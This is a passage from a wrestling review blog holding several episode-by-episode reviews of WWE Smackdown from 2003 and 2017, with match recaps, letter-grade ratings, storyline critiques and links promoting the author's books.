Smackdown
Date: May 8, 2003
Location: Metro Centre, Halifax, Nova Scotia, Canada
Commentators: Tazz, Michael Cole

With the pay per view right around the corner, it might be nice if they set up a few more matches. There’s only a few things set up already and unfortunately we’re likely in for more of the Mr. America story dominating the show. Last week’s segment was fine, but I have a feeling it’s going to overstay its welcome in a hurry. Let’s get to it.

We open with a long recap of the Mr. America story, which somehow seems to focus on Stephanie. Vince has vowed to take the mask off of America and prove it’s really Hogan.

Opening sequence.

Here’s Vince to get things going. He’s had a change of heart so tonight Hogan is going to be here tonight….via satellite from Tampa, Florida. That means Mr. America won’t be here because they’re clearly the same person. Even Canadians could figure something like this out. The YOU SCREWED Bret chants start up with Cole saying that means Bret Hart. Thanks Mikey. Vince: “You’re right I did and I’ll screw every one of you if you just give me the chance!”

This brings out Stephanie with Vince demanding to know why she signed Mr. America. She did it for the fans because she had heard about how big a star he was and all his experience. Vince wants to know why she did this, which Stephanie says was to counter Bischoff’s attempts to sign Mr. America, which is why he got the iron clad deal. The only way to break the contract is to prove that Mr. America is Hogan. That’s cool with Vince and he has Stephanie leave so he can interview Hogan from Tampa.

We go live via satellite to Hogan’s office, featuring a prominently displayed copy of his new book on the shelf, what appears to be a Divas swimsuit magazine on the table and…..a really big Home Depot catalog/book? Hogan says he wants to be back in front of the crowd because it’s killing him to not be out there.

He’d love to team up with Mr. America one day, even if there are some physical similarities between the two. Of course Hogan’s Pythons are bigger and he’s much better looking. Vince laughs it off and says we should see Mr. America right here in Nova Scotia. Hogan looks upset but quotes George Washington by saying he cannot tell a lie. There’s a chance that Mr. America will show up tonight, which is an idea that Vince loves.

I have SO many questions. Who in the world was telling Stephanie all this stuff about Mr. America without mentioning THAT IT WAS HULK HOGAN??? Who would have seen Mr. America wrestle in person and called Stephanie to tell her about him? Are we supposed to buy that Hogan was just off working independent promotions throughout his career under a mask?

Stephanie said she was told he had a lot of experience, which would suggest he’s been doing this for awhile. So some people who she apparently trusts called her and told her to sign this guy who Eric Bischoff was interested in as well but apparently either didn’t realize that it was Hogan or didn’t know/care about Vince banning Hogan from wrestling? Was Bischoff just going to sign Mr. America and hope Vince didn’t notice? Or did he have the same stupid sources too?

In theory this would have been a long term plan from Hogan but he was sent home on April 3 and the first vignette played on April 17. That would suggest that Mr. America was signed during that two week period as Stephanie couldn’t advertise him until he was signed. So he and Bischoff heard about Mr. American, got obsessed with signing him sight unseen, got into a bidding war to sign him, and then signed him in less than two weeks?

Back to the sources who hyped up Mr. America, did they sound like a San Francisco barber, a mouth from the south and a nasty sensation by any chance? Or did Hogan start doing this months ago on the off chance he lost at Wrestlemania? Oh and did Hogan sign the other contract “Mr. America”? And is he now getting two checks? There are so many questions I kind of need answered about this whole shindig. Unless this whole thing is Stephanie and Hogan being in cahoots with each other, this story really doesn’t make much sense.

Post break, Vince is told that Mr. America is here. So wait: did Mr. America pay off the production staff to lie and say they weren’t in Florida? Was the tape a fake? Did Hogan convince them all to fly back to Canada, set up a room to look like his office and then show up later? Why am I thinking about this more than I did in any class in college?

Matt Hardy vs. Eddie Guerrero

Back to back Side Effects set up a Ricochet for two on Eddie. The middle rope legdrop is broken up though and Eddie rolls some suplexes. Matt avoids the frog splash but can’t get the Twist of Fate. Instead it’s a middle rope legdrop to the back of the head for two. Matt tries another Side Effect, only to get rolled up (sweet) for the fast pin.

Rating: C. Matt was trying here, though I’m not sure what the point is in having a champion lose over and over. There are other heels you could have in this spot to protect the title but it’s not like there’s anyone around to challenge him for it at the moment. They could develop some more talent for the division but it’s not likely anytime soon.

Team Angle runs out and steals the gold medals back from Los Guerreros.

Big Show is with the FBI for some reason when some production guys carry a piece of equipment. As they walk by, a good sized guy in a blue mask can be seen.

Brian Kendrick vs. Jamie Noble

Brian is now officially Brian “Spanky” Kendrick. Before the match, Kendrick gets a CENA SUCKS chant going in honor of last week. Kendrick flips out of a wristlock to start and nips up into a kick to the chest. Sliced Bread #2 is broken up though and Kendrick is tossed outside where Nidia gets in a few kicks to the ribs.

Back in and a cravate doesn’t keep Kendrick in trouble for very long but a half crab has some more success. Kendrick fights up for a bit, only to get tossed into the corner for his efforts. An enziguri gives Kendrick two but he has to bail out of a moonsault. That’s fine as he lands on his feet and grabs Sliced Bread #2 for the pin.

Rating: C+. This didn’t have much time but they packed in some good stuff. As usual, these guys could be tearing the house down for the Cruiserweight Title but for some reason Matt is stuck as a midcard jobber. Let some of these guys have ten minutes somewhere and see what they can do, perhaps in a pay per view title match. Really, what could it hurt?

Cena is watching in the back when Mr. America comes up. John doesn’t believe his eyes.

We see the whole Big Show attacking Rey Mysterio scene from Backlash. Mysterio will be back next week.

Brock Lesnar is ready to team with Chris Benoit against A-Train and Big Show. As for the title match with Big Show, let’s make it a stretcher match. Do you know what that means? At Judgment Day, Big Show is leaving on a stretcher.

Vince is getting coffee when Funaki comes up to say Mr. America is here. The boss insists that he’s an impostor and makes Funaki make the coffee.

Here’s Mr. America as the first fifteen minutes of the show just wasn’t enough time. Vince and Stephanie are watching from a small office with what looks like the same furniture from Austin and Bischoff’s office last night. Even the plant is the same. Anyway, Vince insists that this is an impostor.

America finally starts talking and we cut to Vince’s panicked face. Back in the arena, America insists that he’s not Hulk Hogan. No, he’s actually a former 165lb accountant from Hoboken, New Jersey who bought Wrestlemania to see Hogan. There was something about Hogan that made him want to get in the gym and now he’s the physical specimen he is now. So he was 6’6 and 165lbs? That’s quite the odd visual.

Anyway here comes Vince to say that mask is coming off and Stephanie is going to come out here and make it happen. A quick distraction lets Vince get in a low blow but he can’t get the mask off. America shoves him away and right into Stephanie, who is knocked cold. The boss gets knocked to the floor and America carries Stephanie to the back. I’m guessing you can now add Stephanie to the list of people this story shouldn’t be about but will be anyway.

During the break, Stephanie was getting medical attention when Vince stormed in. She blames him for the injuries, of course. Vince freaks out and yells about Hogan.

Dawn Marie vs. Torrie Wilson

Sable is out to watch. They do a catfight for a bit until Torrie gets a sunset flip for the pin in less than a minute.

Post match Sable challenges Torrie to a bikini contest at the pay per view. Torrie unzips her gear to reveal a bra, which seems to be a yes. Considering Torrie is currently in Playboy and her entrance video is mainly her in bikinis, I’m not sure why someone is going to pay to see her in another swimsuit. The same is pretty much true of Sable but WWE doesn’t like to use common sense all the time.

Video on Kurt Angle.

Team Angle vs. Rikishi/Tajiri

Non-title. Rikishi knocks Charlie to the floor to start and sits on his chest for trying a sunset flip. He’s no Torrie Wilson. Tajiri comes in for a spinwheel kick to Shelton but Charlie offers a cheap shot to take over. A hard superkick drops Charlie though and the hot tag brings in Rikishi. Cole actually tries to convince us that Rikishi only weighs 350lbs, which might be the case if you cut off his upper half. Everything breaks down and Rikishi superkicks Haas and Tajiri adds the Tarantula. Shelton pulls Rikishi out though and it’s the superkick into the jackknife cover to put Tajiri away.

Rating: D+. The time issue strikes again as there’s only so much you can do with less than five minutes. Well that and with Rikishi in the match as he’s getting bigger and bigger every single week. I’m still not sure why Tajiri isn’t used in a more prominent role as he’s solid in the ring but stuck in jobbing roles like this one.

Los Guerreros run out and steal the picture of Angle and the gold medals.

John Cena vs. Rhyno

Kendrick is on commentary. Before the match, Cena promises to rip the nose off the rhinoceros and make him need a gynecologist. Rhyno hammers on him to start and kicks Cena in the side of the head to send Cena outside. Back in and Cena scores with a suplex before cranking on Rhyno’s arms. Rhyno slugs away but gets caught by the Throwback for two. Cena is back up in a hurry but walks into the spinebuster. Rhyno is down though so Cena goes for the chain. It’s Kendrick making the save though, allowing Rhyno to grab a rollup for the pin.

Rating: D+. Not a bad little power match here and it advances the entertaining Kendrick vs. Cena feud. Rhyno was playing it mostly even with Cena so it didn’t even feel like the last second fluke win. Cena needs a good win to keep his momentum though as he lost to Lesnar and is in a much lower level feud with Kendrick. I’m sure he’ll be fine though.

Cena goes after Kendrick and avoids a Gore from Rhyno, who hits the steps instead.

The FBI is planning something.

Judgment Day rundown.

Lesnar is on his way to the ring when he runs into Nunzio, who wants more respect. Nunzio hits him and gets Brock to run into a room, which the FBI barricades with a forklift. So he’s kind of dumb too? Big Show and A-Train are rather pleased and Show says he’s going to face Benoit on his own. Is there a reason Lesnar isn’t banging on the door to try to get out?

Chris Benoit vs. Big Show

Show has a stretcher with Mysterio, Benoit and Lesnar’s names on it. Benoit gets right in his face and is promptly chopped back down. Some shots to Show’s leg and head are shrugged off and it’s a big side slam to put him down. There’s a delayed suplex as Cole says Andre the Giant vs. Killer Khan was in 1986 (1981 really). Benoit fights out of a bearhug and dropkicks the knee, setting up the Swan Dive. The Crossface is broken up as A-Train distracts Benoit with the stretcher. That’s enough to set up the chokeslam and give Show the pin.

Rating: D. This was just a step above a squash though at least they kept it quick. Show beating Benoit with some help is an acceptable enough of a way to build him up for Lesnar, though the stretcher thing is another lame gimmick that feels very tacked on. They’d be better with something like Last Man Standing or a street fight or something but we get this lame idea instead. Also was there really a need to announce the tag match for an hour and a half and then switch it to a singles match at the last minute?

Benoit gets beaten down until Lesnar makes the save, only to take a beating of his own to end the show.

Overall Rating: D. The wrestling in the first half of the show saves it from being a failure but the overkill of Mr. America is already getting to be a lot. Aside from the litany of holes in the story’s logic, you can only assume that we’re heading towards America vs. Piper or McMahon (like O’Haire would get that spot). It’s probably going to be Piper and the thought of that makes my skin crawl. The story is fine for something simple that gets a few minutes a week but this was close to a quarter of the show. That’s too much for almost any story, especially one that doesn’t have a lot of depth like this one.

The rest of the show is up and down with some good matches that very little but not much in the storytelling department. Los Guerreros vs. Team Angle over Eddie and Chavo stealing stuff isn’t all that interesting and Sable vs. Torrie is what it is. That leaves you with Lesnar vs. Show, which isn’t doing much for the champ at all. Lesnar really needs a top opponent and Big Show just isn’t that person. Angle and Undertaker coming back will help things out but Lesnar has already beaten both of them. It might be, gulp, time to elevate someone for more than a month at a time.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Smackdown
Date: October 3, 2017
Location: Pepsi Center, Denver, Colorado
Commentators: Tom Phillips, Corey Graves, Byron Saxton

It’s the go home show for Hell in a Cell and that means it’s time to really hammer in some of the stories. The main event of Shane McMahon vs. Kevin Owens inside the Cell is pretty much set but it would be nice to have some of the other matches get some attention of their own. Let’s get to it.

We open with another moment of silence for the Las Vegas shooting.

The opening recap looks at Shinsuke Nakamura beating up Jinder Mahal and the Singh Brothers last week.

Renee Young brings out Nakamura for a chat. In regards to Mahal’s recent insults, Nakamura says sticks and stones may break his bones but words will never hurt him. He’ll take the title from Mahal on Sunday but here are the Singh Brothers to interrupt and mock his entrance. Mahal follows them out and the three on one beatdown is on in a hurry.

Carmella/Natalya vs. Charlotte/Becky Lynch

Becky slaps Carmella to start and it’s time for a breather on the floor. Charlotte and Becky take the villains down with a double baseball slide and we take a way too early break. Back with Becky in trouble until Becky rolls her up for two, allowing the hot tag off to Charlotte. A running knee to the head drops Natalya again and a suplex gives Charlotte two. The spear looks to set up the Figure Eight but Natalya hides in the ropes. Carmella hits Becky in the back with the Money in the Bank briefcase and the Sharpshooter puts Charlotte away at 6:58.

Rating: D+. Barely enough shown to rate here but twas your run of the mill tag match with Natalya getting a win to help set up the title match on Sunday. If nothing else hopefully we’ll knock out the briefcase soon as it’s still just a thing that exists instead of anything with any particular value.

Long recap of Shane vs. Kevin. The more I see of this feud, the less I care.

Mike Kanellis vs. Bobby Roode

A spinebuster and the Glorious DDT end Kanellis at 56 seconds.

Post match here’s Dolph Ziggler with a marching band drum to play for Roode. Dolph plays an air horn and throws some confetti too before asking if everyone likes him now. Roode has a great entrance but on Sunday, the bell is going to ring and he’ll be exposed as the fraud that he is. Bobby shows Ziggler how to do the proper entrance and strikes the Glorious pose.

Pay per view rundown.

Here are the Usos to read New Day their rights before Sunday. They explain that New Day is going to be walking into the Uso Penitentiary where there’s no trombone, no BootyO’s and no dancing. Maybe they can just throw every other tag team in there with them. This brings out New Day to shill their New Day underwear (a real thing) and to read some lefts because the Usos are reading the rights.

New Day has left everyone in the dust and no matter where they were on the card, they’ve left the fans knowing it was the best match on the night. Best of all though, the last time they met the Usos, they left with the titles. Short and to the point here as this segment needed to be. If the match is as good as their previous efforts, everything will be fine.

Mahal shows us a replay of what happened earlier.

Tye Dillinger vs. Baron Corbin

Corbin throws him around to start but a chase lets Tye score with a superkick to knock Corbin outside as we take a break. Back with Corbin elbowing Dillinger in the face and knocking him onto the steps. They head back inside and Dillinger grabs a small package for the clean pin at 5:52. Not enough shown to rate but it was angle advancement more than anything else.

Post match AJ Styles pops up on screen to say he’s going to show Corbin that taking shortcuts doesn’t pay.

Some breast cancer survivors are presented with pink WWE Championships.

Randy Orton vs. Aiden English

Fallout from Orton laying out English and Rusev last week during Rusev’s celebration. English throws him into the corner to start but has to avoid an early RKO attempt. No worries though as a pop up RKO puts English at 1:17.

Rusev tries to sneak up on Orton but Randy drops into RKO position to send Rusev bailing.

Sami Zayn tells Shane to be careful with Owens. Shane basically blows him off.

Here’s Shane to call out Owens but Kevin doesn’t show up. Shane calls him a coward and has a chance of pace for Sunday’s match: it’s now Falls Count Anywhere. So they’re not even bothering to hide the fact that the Cell is only going to contain them for a little while? Owens comes through the crowd, saying that the real money is right here. That’s all he’s doing though and starts to go back up the stairs, only pausing when Shane calls him a coward.

Owens leaves anyway and it’s Shane giving chase through the crowd. Shane gets into the concourse and the fight is on with Shane getting powerbombed through a merchandise table. Owens comes back to the ring to say that’s nothing compared to what he’s going to do to Shane on Sunday, where he’ll throw Shane off the Cell. Of course Shane staggers through the crowd to come back to ringside but Owens throws him over the announcers’ table. Fans: “THIS IS AWESOME!” I know weed is legal in Colorado but dang I didn’t realize it was that strong.

A headbutt drops Shane again and the Pop Up Powerbomb ends the show. I wasn’t wild on this match coming into this week and this segment REALLY didn’t do it any favors. It’s just Shane getting beaten up again and then basically guaranteeing that he’s going to do something really stupid on Sunday. I need a lot more than that and I’m getting a bad feeling that Shane will win and completely waste any momentum that Owens has built up.

Overall Rating: D-. My goodness this bombed and it bombed hard. With a grand total of 15:03 of wrestling and about half of that in commercials, the focus certainly wasn’t on the in-ring product this week. What it was on was Shane vs. Owens and the more I see of that, the less I can bring myself to care. As I said, they’re not even trying to hide the fact that it’s going to be a stunt show and Shane is only in there because he’s going to do something stupid. Shane gets less and less interesting every time he gets in the ring and one of these times he’s going to win, which would be about as dumb of an idea as they have.

Results

Carmella/Natalya b. Charlotte/Becky Lynch – Sharpshooter to Charlotte

Bobby Roode b. Mike Kanellis – Glorious DDT

Tye Dillinger b. Baron Corbin – Small package

Randy Orton b. Aiden English – Pop up RKO

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Smackdown
Date: May 1, 2003
Location: Verizon Wireless Arena, Manchester, New Hampshire
Commentators: Michael Cole, Tazz

We’re past Backlash now and Brock Lesnar retained the Smackdown World Title against John Cena in the Smackdown main event. Therefore, it’s time to get a new challenger to the title and that scares me a bit. Odds are we’re looking at Big Show again, because that’s what you have nowhere else to go. Let’s get to it.

We open with a look at Big Show attacking Rey Mysterio. Oh yeah we’re seeing Big Show vs. Lesnar this month.

Opening sequence.

Los Guerreros vs. Matt Hardy/Shannon Moore

Los Guerreros have the stolen titles but aren’t champions, meaning Matt, (Have you read his new Book?) who invented Mattitude, can’t win a second championship here. Eddie wastes no time and starts in on the leg with a hilo. Chavo slaps on a legbar and it’s time for some changing places with no tags.

Crash, that little Moore-On, gets in a book shot from behind so Matt can take over. We hit a full nelson of all things as we talk about Crash’s diet, which sounds like a stream of gay jokes. Chavo tries to make a save but gets his uncle stomped down by mistake. That’s enough waiting though as he comes in and dropkicks away as everything breaks down.

Eddie’s top rope hurricanrana gets two on Matt but Three Amigos are broken up. Moore throws Eddie into a fireman’s carry and it’s a swinging neckbreaker from Matt for two. The referee finally tries to calm things down, allowing Chavo to hit Matt in the head with the belt, setting up the frog splash for the pin.

Rating: C. At least Matt didn’t lose clean. Los Guerreros vs. Team Angle is fine for a feud and it’s not like they have anyone else to go after them at the moment. The tag division has fallen apart in the span of about seven months but at least we’re getting a good match here or there.

Team Angle comes after their belts but Los Guerreros escape without too much effort.

Stephanie McMahon says she signed Mr. America without knowing who he is or even seeing him. I’m sure she invented bad business ideas too. Team Angle comes in and demands their titles back but Stephanie talks down to them for letting Los Guerreros take them away. Less than thirty seconds ago she said she signed someone WITHOUT KNOWING WHO HE IS and now she’s being condescending. Anyway it’s a ladder match at Judgment Day between Los Guerreros and Team Angle.

Video on Rey Mysterio vs. Big Show, which doesn’t make it any less stupid.

Stephanie leaves Mr. America’s dressing room and looks somewhere between terrified and near tears.

Mr. America is coming. We know.

Big Show vs. Funaki

So, brilliant businesswoman Stephanie knows what happened to Rey, who is still in the hospital, on Sunday and then books this match less than a week later. Maybe she didn’t see the post match attack either? Before the match, Show basically says he’s going to kill Funaki. The early chops send Funaki outside with Show throwing him all over the place as you would expect. Back in and Show gets crotched, setting up a missile dropkick to the ribs. A tornado DDT gets two on Show but he lifts Funaki up for the chokeslam….and sits him back down. Instead it’s a hard clothesline to take Funaki’s head off for the pin.

Rating: D-. So now he’s stolen Bill DeMott’s gimmick? I’m assuming this is designed to set up Show as the next challenger to Lesnar, who is going to be standing up for the cruiserweights. It doesn’t exactly make sense but it’s not like Lesnar has anyone else to challenge him. It’s not like Guerrero or Benoit are available as a short term challenger, or just ANYONE other than Big Show again.

Stephanie is worried when a production worker comes in to say that Vince is coming.

Show glares at various cruiserweights until he runs into A-Train, who liked what he saw.

Here’s Cena to rap about how he busted Lesnar open on Sunday and had him beat. Of course this includes some shots at the Red Sox, which he manages to get through without crying. This brings out Brian Kendrick of all people, dressed like a rapper but with a big clock around his neck. Kendrick says, and I quote, “the name is Spanky McBarrel Scrapings dawg”.

He has a rap for Cena but needs a beat. Cena tells Brian Hebner to give him a beat….which he actually does rather well. Cena looks stunned and Kendrick raps about how Lesnar beat Cena on Sunday. Kendrick even rubs Cena’s hair as you can see Cena (make your own jokes) about to explode. Cena finally takes his head off and hits the AA, which Tazz finally dubs the FU. This was way more entertaining than it should have been, mainly due to Kendrick being so over the top and Cena’s great visuals.

The FBI shoots dice with a production worker and hustles him before charging him for autographs.

Chris Benoit vs. Johnny Stamboli

Benoit stops looking at the other Italians and starts chopping away, only to head outside to deck Palumbo. Nunzio trips Benoit so he hits Palumbo instead, only to get taken down by Stamboli. The gorilla press is countered into a Crossface attempt, sending Stamboli straight to the ropes. A backslide gives Benoit two but Johnny is right back with some elbows to keep him down. That just earns Stamboli a hard German suplex and the Swan Dive but Nunzio comes in. Cue Rhyno to Gore him down and then to slug away at Palumbo as the match is thrown out.

Rating: D. Stamboli could have been something with a better name (Johnny the Bull was fine), if nothing else for the insane gorilla presses he could pull off. Benoit needs to get FAR away from the Italians though as this feud is just completely nothing for him. I have no idea why he’s stuck in the middle of this thing when he could be fighting for the World Title, or at least be in the mix for the thing.

Actually let’s keep this going as a tag match.

Chris Benoit/Rhyno vs. FBI

Nunzio is the odd man out. We’re joined in progress with Rhyno stomping on Palumbo in the corner. A belly to belly gets two on Stamboli and it’s off to Benoit….but the referee doesn’t see the tag, which you rarely see enforced this early in the match. Palumbo’s belly to back gets two more on Rhyno and it’s back to Stamboli for a bearhug. Rhyno finally gets out of trouble with a spinebuster and it’s off to Benoit to clean house. Benoit rolls Palumbo up as Rhyno Gores Stamboli, sending him into the referee to break it up by mistake. The distraction lets Nunzio turn Palumbo and Benoit over to give Chuck the pin.

Rating: D. More bad stuff here as you can only get so much out of a team like Palumbo and Stamboli. The ending suggests that they’re going to split up Benoit and Rhyno pretty soon, which would be somewhat of a waste of a perfectly fine team but at the same time I’d be glad to see Benoit get to do something important again.

A nervous Stephanie calls Vince and tells him to not bother coming to the show tonight. As she’s talking, Lesnar arrives despite having the night off.

Video on Kurt Angle. I guess they want to keep him in our minds despite him only leaving about a month ago?

Here’s Lesnar for a chat. Brock had a heck of a fight with Cena at Backlash but now he’s looking for another fight. That would be with Big Show, who Lesnar saw bullying Rey at Backlash. If Show wants to pick on people that small because they have more heart, why not come try to bully Brock Lesnar? Show comes out and says he’ll fight Lesnar but only if the title is on the line. Brock says bring it on and seems to agree but Show leaves anyway.

Mr. America video. They do know they’ve already established this right?

Team Angle vs. John Walters/Aaron Stevens

Non-title. Walters would go on to become an ROH Pure Champion and Stevens (better known as Erick and not to be confused with Aaron “the Idol” Stevens who would go on to become Damien Sandow) would be a pretty big deal in FIP. Stevens wastes no time in rolling Haas up for two but gets taken down with ease. It’s off to Shelton for the jump onto Stevens’ back so let’s try Walters instead. Everything breaks down in a bit of a surprise and it’s an atomic drop into a superkick to put Walters away in a hurry.

Post match Team Angle demands their titles back so here are Los Guerreros to return the belts….and then steal Kurt Angle’s medals off the framed picture Team Angle brought with them.

Sable hits on Torrie, who isn’t interested this week. Torrie rants about the Test/Stacy Keibler thing at Backlash and does NOT want to team with Sable tonight. Innuendo occurs and Sable threatens to have Torrie beaten down again if she doesn’t get what she wants.

Torrie Wilson/Sable vs. Dawn Marie/Nidia

What does it say when Nidia is the best worker in a match? Torrie gets jumped to start and Sable calmly pushes Dawn (who has dropped the Wilson name in a story that the company has likely forgotten) away. Nidia grabs an early suplex for two but gets caught in the swinging neckbreaker (the one move Torrie can do) for the same.

A clothesline knocks Dawn off the apron, allowing Nidia to kick at the leg to take over. It’s off to Dawn for something like a Vader Bomb onto the legs but a second attempt only hits mat. Sable won’t tag though and Torrie taps to a half crab (with Dawn making it look more like a Disarm-Her on the leg than anything else).

Rating: F. Now who would have guessed this would be terrible? Normally I can appreciate something like putting in work on the knee to set up a hold but when the wrestling is this bad, there’s only so much you can do. I’m not sure what else there is to say about something like this. They’re just not good at this stuff.

Stephanie tries to call Vince again but he arrives and wants to meet Mr. America. I guess this is Stephanie’s version of bad luck or finally having someone get something up on her. Makes sense actually. The only person you could possibly buy beating Stephanie is Stephanie herself.

It’s time for Piper’s Pit. Roddy makes fun of Chris Jericho for mocking Piper’s weight. When Piper loses weight, he’ll call Jericho. When Jericho gets some talent, call him. After praising Sean O’Haire (in the ring with him) for winning at Backlash, Piper calls out Mr. America, who of course is Hulk Hogan under a mask doing the bit where everyone knows it’s him but no one can prove it. Cole and Tazz set a new record for Hogan references in a thirty second period as Piper is beside himself. Like, more than O’Haire is beside him.

Piper accuses America of being Hogan, but America thinks that’s ridiculous brother dude. America threatens to beat him from sea to shining sea but he is NOT Hulk Hogan. This brings out Vince with the biggest eyes you’ll see on him this side of an Austin segment. Vince yells about the whole thing and says Hogan is suspended so he’s going home again, this time with a lawsuit. Vince: “You’re insulting my intelligence, and that’s something I just won’t stand for at all.”

Mr. America is fired but that won’t work because of a clause in his contract saying he CAN’T BE FIRED OR SUSPENDED. Stephanie signed someone to a contract without seeing him and HE CAN’T BE FIRED. So not only is she annoying and on screen way too much, but she’s very, very stupid. I’m not big on Stephanie but that’s WAY out of character for her. Vince panics and we get a “God bless America” from America to start a weak USA chant. That’s fine with Vince, who goes for the mask but America cleans house and bails. Pyro and confetti come down (with Piper covering a downed Vince for some reason) to end the show.

Here’s the thing: this idea isn’t bad as a one or two off joke. Think back to the days of the Machines when Hogan Machine or Piper Machine showed up or Juan Cena. They were really stupid but perfectly harmless, especially when the segments aren’t even trying to hide what’s going on. Everyone is in on the joke and it’s over in a week or two with everyone having a good time and laughing along with it. That works just fine.

However, that’s not what we’re getting here. This is the big story on Smackdown (and pretty much in the entire company due to Vince and Hogan being involved) and is likely setting up America vs. McMahon or Piper. It’s probably going to go on for weeks if not months and completely overstay its welcome. One of the worst things you can do with something that should be funny is to drive it into the ground because then the charm is gone and it’s just stupid stuff getting way more time than it should.

If this was a three minute segment to set up a five minute match with America beating some foreign monster, then fine. The problem is it was a fifteen minute segment that is going to spend weeks likely building to America vs. Piper in a match that’s going to set wrestling back fifteen or more years. In other words, the horrible 2003 rolls on.

Overall Rating: D. Other than the ending segment, this wasn’t the worst show in the world. Above all else here though, everything is built up to the big Mr. America segment, which requires Stephanie to be horribly stupid and a bunch of talking about contracts, again. The wrestling was nothing special as usual but the problem here continues to be the horrible storylines, which are neither quality nor interesting in the slightest. Bad show, but more uninteresting than anything else.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Smackdown
Date: September 26, 2017
Location: Gila River Arena, Glendale, Arizona
Commentators: Tom Phillips, Corey Graves, Byron Saxton

We’re coming up on the Cell and that means we have to start hammering home some of the matches. At the moment we have at least one Cell match set, along with the World and Tag Team Title matches, either of which could wind up being changed to the second Cell match of the card. Other than that, there isn’t much to go on so let’s get to it.

The opening recap looks at Shane McMahon vs. Kevin Owens, which is easily the top story on the show at the moment. We hear the comments from both guys last week with both of them threatening some intense violence.

Here’s Owens to open things up, asking where Shane is tonight. Owens is tired of being called a coward over and over but maybe Shane is the coward. He knows better than that though because Shane is no coward. Not only does he respect Vince McMahon but he even likes him. If that’s what he’ll do to someone he likes, what will he do to Shane, who he doesn’t like?

This brings out Sami Zayn, who says Owens has lost complete control. Owens headbutted VINCE MCMAHON and anytime Owens snaps like that, it doesn’t end well. If Owens knows what’s good for him, he needs to stop right now. Owens laughs it off and talks about Sami signing with WWE two and a half years before him but it was Owens winning the US Title at Wrestlemania while Sami watched from the back.

Owens did indeed attack Vince McMahon and it was the best thing he could do because he did something, unlike Zayn. Sami says his day is coming and he’ll do it the right way. Sure Kevin has won a bunch of titles that Sami hasn’t but at least he doesn’t see a pile of trash when he looks in the mirror. Cue Daniel Bryan to make the main event for tonight.

Tye Dillinger vs. Baron Corbin

Fallout from last week when Corbin was scheduled to have a US Title shot but Dillinger injured Corbin’s ankle in a pre-match brawl. Hang on a second though as here’s AJ Styles to join commentary. The distraction lets Tye throw Corbin over the top in a heap and we go to a break before the bell.

We’re joined in progress with Corbin getting two off a chokebreaker. An attempt at a second one doesn’t work as well as Tye scores with a superkick and a kind of one knee Codebreaker. They head outside with Corbin charging into the steps but being able to slip out of the Tyebreaker. Corbin throws water into Styles’ face and then throws Corbin into Styles’ chest to win by countout at 2:43 shown.

Post match Corbin says he wants Styles for the title at the pay per view. The match has been made after the break.

Here are Jinder Mahal and the Singh Brothers for a chat. Mahal says he might have went a bit too far last week but gets cut off by a NAKAMURA chant. Of course Nakamura is a worthy opponent and Mahal knows what it was like when Nakamura heard last week’s comments. For the THIRD WEEK IN A FREAKING ROW we do the laughing at Nakamura’s face shtick.

The third one is actually Nakamura though and he’s looking at Mahal right here on Smackdown Live. Cue Nakamura in person (thank goodness) to beat up the Singh Brothers in the aisle but Mahal gets in a few shots of his own. That goes nowhere and it’s Nakamura cleaning house, including Kinshasa to send Mahal sprawling up the ramp.

Usos vs. Hype Bros

New Day is in the front row. Mojo drives some shoulders into Jimmy’s ribs to start but gets kicked down for his efforts. It’s off to Ryder to clean some house, including a neckbreaker for two on Jey. Ryder loads up a missile dropkick but Mojo tags himself in, triggering an argument. Jimmy knocks Ryder off the top and it’s a superkick into the Superfly Splash to end Rawley at 2:17.

Post match the Usos go to yell at New Day, who says the title match will be inside the Cell.

It’s time for Rusev’s Pride of Bulgaria celebration with Aiden English as master of ceremonies and singing the Bulgarian national anthem. Rusev comes out carrying the Bulgarian flag and the Mayor of Rusev’s hometown reads a proclamation as Rusev stands on a platform. He’s presented a key to the city and we see a clip of Rusev beating Randy Orton in nine seconds last week. Rusev talks about the Lion of Bulgaria ripping the fangs from the Viper’s mouth. It’s his jungle now and English sings a special song….until Orton comes in with RKO’s for Rusev and English.

Sami comes in to see Bryan, who says Shane is on the way and wants Owens. Zayn begs Bryan to call Shane off because he wants Owens to himself tonight.

Orton tells Renee Young to tell Rusev that if he wants some payback, come see him at Hell in a Cell.

Charlotte vs. Carmella

Carmella chains Ellsworth to the ring. Charlotte can’t get in an early Figure Eight attempt but can get in a big boot. Ellsworth’s distraction sets up a cheap shot and we take a break. Back with Charlotte fighting out of a chinlock but getting pulled down by the hair. Carmella gets two off a reverse DDT and nails a superkick. Not that it matters though as she walks into a big boot to give Charlotte the pin at 6:55.

Rating: D+. Not much to see here but it was little more than Charlotte getting a win before the pay per view. I really wish they could drop the Briefcase already though as it’s little more than a Sword of Damocles hanging over the title, which really holds back what they have going for it with Charlotte back in the title picture.

Post match Natalya comes out to says he’s glad Ric Flair is feeling better so he can see Charlotte lose.

And then a gong strikes…..because Dolph Ziggler is doing Undertaker’s entrance. The fans seem to buy it at first until Ziggler starts dancing around. Dolph says the fans look like they’ve seen a ghost, which makes him laugh because there’s no way you’re seeing Undertaker twice in a year. Ziggler starts ripping into the fans again but things become GLORIOUS in a hurry.

Bobby Roode comes out to call Ziggler a hypocrite. He claims to not care about what the fans think but here he is every week to entertain them. If Ziggler thinks he’s the best performer ever, how about he proves it against Roode at Hell in a Cell? Ziggler lists off all the things that it takes to be popular here: flashy robe, an entrance that involves audience participation and in-ring skills that match Ziggler’s. Two out of three aren’t bad, but anyone who steps in the ring with Ziggler will REST IN…..and Roode cuts him off to say their match will be GLORIOUS.

Sami Zayn vs. Kevin Owens

